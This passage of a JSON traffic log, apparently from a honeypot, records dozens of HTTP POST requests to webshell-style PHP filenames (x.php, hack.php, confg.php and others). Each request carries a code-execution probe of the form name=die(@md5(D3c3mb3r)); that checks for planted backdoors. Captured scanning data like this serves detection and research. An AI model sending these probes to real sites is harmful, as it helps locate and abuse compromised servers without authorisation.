  553. "data": "POST /toor.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nqwer=die(@md5(D3c3mb3r));"
  554. },
  555. {
  556. "@timestamp": "2018-12-17T09:39:59.000Z",
  557. "data": "POST /zzk.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 29\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiaopang=die(@md5(D3c3mb3r));"
  558. },
  559. {
  560. "@timestamp": "2018-12-17T09:39:58.000Z",
  561. "data": "POST /htfr.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nzuo=die(@md5(D3c3mb3r));"
  562. },
  563. {
  564. "@timestamp": "2018-12-17T09:39:58.000Z",
  565. "data": "POST /infos.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nname=die(@md5(D3c3mb3r));"
  566. },
  567. {
  568. "@timestamp": "2018-12-17T09:39:58.000Z",
  569. "data": "POST /x.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  570. },
  571. {
  572. "@timestamp": "2018-12-17T09:39:57.000Z",
  573. "data": "POST /.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nm=die(@md5(D3c3mb3r))"
  574. },
  575. {
  576. "@timestamp": "2018-12-17T09:39:56.000Z",
  577. "data": "POST /666.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nhacker=die(@md5(D3c3mb3r));"
  578. },
  579. {
  580. "@timestamp": "2018-12-17T09:39:56.000Z",
  581. "data": "POST /777.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n-77=die(@md5(D3c3mb3r));"
  582. },
  583. {
  584. "@timestamp": "2018-12-17T09:39:56.000Z",
  585. "data": "POST /qwq.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nc=die(@md5(D3c3mb3r));"
  586. },
  587. {
  588. "@timestamp": "2018-12-17T09:39:55.000Z",
  589. "data": "POST /HX.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nhacker=die(@md5(D3c3mb3r));"
  590. },
  591. {
  592. "@timestamp": "2018-12-17T09:39:55.000Z",
  593. "data": "POST /diy.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 29\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ndiyworld=die(@md5(D3c3mb3r));"
  594. },
  595. {
  596. "@timestamp": "2018-12-17T09:39:54.000Z",
  597. "data": "POST /conf.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  598. },
  599. {
  600. "@timestamp": "2018-12-17T09:39:54.000Z",
  601. "data": "POST /123.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nhacker=die(@md5(D3c3mb3r));"
  602. },
  603. {
  604. "@timestamp": "2018-12-17T09:39:54.000Z",
  605. "data": "POST /m.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  606. },
  607. {
  608. "@timestamp": "2018-12-17T09:39:53.000Z",
  609. "data": "POST /a.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  610. },
  611. {
  612. "@timestamp": "2018-12-17T09:39:52.000Z",
  613. "data": "POST /1.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  614. },
  615. {
  616. "@timestamp": "2018-12-17T09:39:52.000Z",
  617. "data": "POST /p.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nc=die(@md5(D3c3mb3r));"
  618. },
  619. {
  620. "@timestamp": "2018-12-17T09:39:52.000Z",
  621. "data": "POST /2.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n123=die(@md5(D3c3mb3r));"
  622. },
  623. {
  624. "@timestamp": "2018-12-17T09:39:51.000Z",
  625. "data": "POST /xp.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nx=die(@md5(D3c3mb3r));"
  626. },
  627. {
  628. "@timestamp": "2018-12-17T09:39:51.000Z",
  629. "data": "POST /1.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  630. },
  631. {
  632. "@timestamp": "2018-12-17T09:39:50.000Z",
  633. "data": "POST /hello.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  634. },
  635. {
  636. "@timestamp": "2018-12-17T09:39:50.000Z",
  637. "data": "POST /hell.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  638. },
  639. {
  640. "@timestamp": "2018-12-17T09:39:50.000Z",
  641. "data": "POST /admn.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  642. },
  643. {
  644. "@timestamp": "2018-12-17T09:39:49.000Z",
  645. "data": "POST /hello.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n123=die(@md5(D3c3mb3r));"
  646. },
  647. {
  648. "@timestamp": "2018-12-17T09:39:48.000Z",
  649. "data": "POST /s1.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n258=die(@md5(D3c3mb3r));"
  650. },
  651. {
  652. "@timestamp": "2018-12-17T09:39:48.000Z",
  653. "data": "POST /xiaodai.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiaodai=die(@md5(D3c3mb3r));"
  654. },
  655. {
  656. "@timestamp": "2018-12-17T09:39:48.000Z",
  657. "data": "POST /api.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nxiaoer=die(@md5(D3c3mb3r));"
  658. },
  659. {
  660. "@timestamp": "2018-12-17T09:39:47.000Z",
  661. "data": "POST /ldw.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncc123=die(@md5(D3c3mb3r));"
  662. },
  663. {
  664. "@timestamp": "2018-12-17T09:39:47.000Z",
  665. "data": "POST /repeat.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ntomkey=die(@md5(D3c3mb3r));"
  666. },
  667. {
  668. "@timestamp": "2018-12-17T09:39:46.000Z",
  669. "data": "POST /fusheng.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nfusheng=die(@md5(D3c3mb3r));"
  670. },
  671. {
  672. "@timestamp": "2018-12-17T09:39:46.000Z",
  673. "data": "POST /general.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nf11=die(@md5(D3c3mb3r));"
  674. },
  675. {
  676. "@timestamp": "2018-12-17T09:39:46.000Z",
  677. "data": "POST /5201314.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 28\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n5201314=die(@md5(D3c3mb3r));"
  678. },
  679. {
  680. "@timestamp": "2018-12-17T09:39:45.000Z",
  681. "data": "POST /51314.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nwen=die(@md5(D3c3mb3r));"
  682. },
  683. {
  684. "@timestamp": "2018-12-17T09:39:44.000Z",
  685. "data": "POST /erwa.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nerwa=die(@md5(D3c3mb3r));"
  686. },
  687. {
  688. "@timestamp": "2018-12-17T09:39:44.000Z",
  689. "data": "POST /ruyi.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n905=die(@md5(D3c3mb3r));"
  690. },
  691. {
  692. "@timestamp": "2018-12-17T09:39:44.000Z",
  693. "data": "POST /pma.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nmmp=die(@md5(D3c3mb3r));"
  694. },
  695. {
  696. "@timestamp": "2018-12-17T09:39:43.000Z",
  697. "data": "POST /godkey.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ngodkey=die(@md5(D3c3mb3r));"
  698. },
  699. {
  700. "@timestamp": "2018-12-17T09:39:43.000Z",
  701. "data": "POST /okokok.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 27\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ngodkey=die(@md5(D3c3mb3r));"
  702. },
  703. {
  704. "@timestamp": "2018-12-17T09:39:42.000Z",
  705. "data": "POST /nuoxi.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nnuoxi=die(@md5(D3c3mb3r));"
  706. },
  707. {
  708. "@timestamp": "2018-12-17T09:39:42.000Z",
  709. "data": "POST /dexgp.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n123=die(@md5(D3c3mb3r));"
  710. },
  711. {
  712. "@timestamp": "2018-12-17T09:39:42.000Z",
  713. "data": "POST /x.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n123=die(@md5(D3c3mb3r));"
  714. },
  715. {
  716. "@timestamp": "2018-12-17T09:39:41.000Z",
  717. "data": "POST /z.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n123=die(@md5(D3c3mb3r));"
  718. },
  719. {
  720. "@timestamp": "2018-12-17T09:39:40.000Z",
  721. "data": "POST /xxx.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nadmin=die(@md5(D3c3mb3r));"
  722. },
  723. {
  724. "@timestamp": "2018-12-17T09:39:40.000Z",
  725. "data": "POST /92.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 23\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n92=die(@md5(D3c3mb3r));"
  726. },
  727. {
  728. "@timestamp": "2018-12-17T09:39:40.000Z",
  729. "data": "POST /Ss.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nnone=die(@md5(D3c3mb3r));"
  730. },
  731. {
  732. "@timestamp": "2018-12-17T09:39:39.000Z",
  733. "data": "POST /hack.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  734. },
  735. {
  736. "@timestamp": "2018-12-17T09:39:39.000Z",
  737. "data": "POST /qa.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nq=die(@md5(D3c3mb3r));"
  738. },
  739. {
  740. "@timestamp": "2018-12-17T09:39:38.000Z",
  741. "data": "POST /ver.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  742. },
  743. {
  744. "@timestamp": "2018-12-17T09:39:38.000Z",
  745. "data": "POST /confg.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n5=die(@md5(D3c3mb3r));"
  746. },
  747. {
  748. "@timestamp": "2018-12-17T09:39:38.000Z",
  749. "data": "POST /confg.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n4=die(@md5(D3c3mb3r))"
  750. },
  751. {
  752. "@timestamp": "2018-12-17T09:39:37.000Z",
  753. "data": "POST /confg.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n4=die(@md5(D3c3mb3r));"
  754. },
  755. {
  756. "@timestamp": "2018-12-17T09:39:36.000Z",
  757. "data": "POST /1.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 22\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n1=die(@md5(D3c3mb3r));"
  758. },
  759. {
  760. "@timestamp": "2018-12-17T09:39:36.000Z",
  761. "data": "POST /conf1g.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n5=die(@md5(D3c3mb3r))"
  762. },
  763. {
  764. "@timestamp": "2018-12-17T09:39:36.000Z",
  765. "data": "POST /confg.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 21\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n5=die(@md5(D3c3mb3r))"
  766. },
  767. {
  768. "@timestamp": "2018-12-17T09:39:35.000Z",
  769. "data": "POST /sha.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nsha=die(@md5(D3c3mb3r));"
  770. },
  771. {
  772. "@timestamp": "2018-12-17T09:39:35.000Z",
  773. "data": "POST /ppx.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nppx=die(@md5(D3c3mb3r));"
  774. },
  775. {
  776. "@timestamp": "2018-12-17T09:39:34.000Z",
  777. "data": "POST /qaz.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 26\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ndaoen=die(@md5(D3c3mb3r));"
  778. },
  779. {
  780. "@timestamp": "2018-12-17T09:39:34.000Z",
  781. "data": "POST /core.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n1989=die(@md5(D3c3mb3r));"
  782. },
  783. {
  784. "@timestamp": "2018-12-17T09:39:34.000Z",
  785. "data": "POST /2.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n1989=die(@md5(D3c3mb3r));"
  786. },
  787. {
  788. "@timestamp": "2018-12-17T09:39:33.000Z",
  789. "data": "POST /1.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 25\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\n1989=die(@md5(D3c3mb3r));"
  790. },
  791. {
  792. "@timestamp": "2018-12-17T09:39:32.000Z",
  793. "data": "POST /sss.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nsdf=die(@md5(D3c3mb3r));"
  794. },
  795. {
  796. "@timestamp": "2018-12-17T09:39:32.000Z",
  797. "data": "POST /u.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nsdf=die(@md5(D3c3mb3r));"
  798. },
  799. {
  800. "@timestamp": "2018-12-17T09:39:32.000Z",
  801. "data": "POST /uuu.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\nsdf=die(@md5(D3c3mb3r));"
  802. },
  803. {
  804. "@timestamp": "2018-12-17T09:39:31.000Z",
  805. "data": "POST /wcp.php HTTP/1.1\r\nContent-Type: application/x-www-form-urlencoded\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101 Firefox/57.0\r\nHost: 127.0.0.1\r\nContent-Length: 24\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n\r\ncmd=die(@md5(D3c3mb3r));"
  806. },
  807. {
  808. "@timestamp": "2018-12-17T09:39:31.000Z",
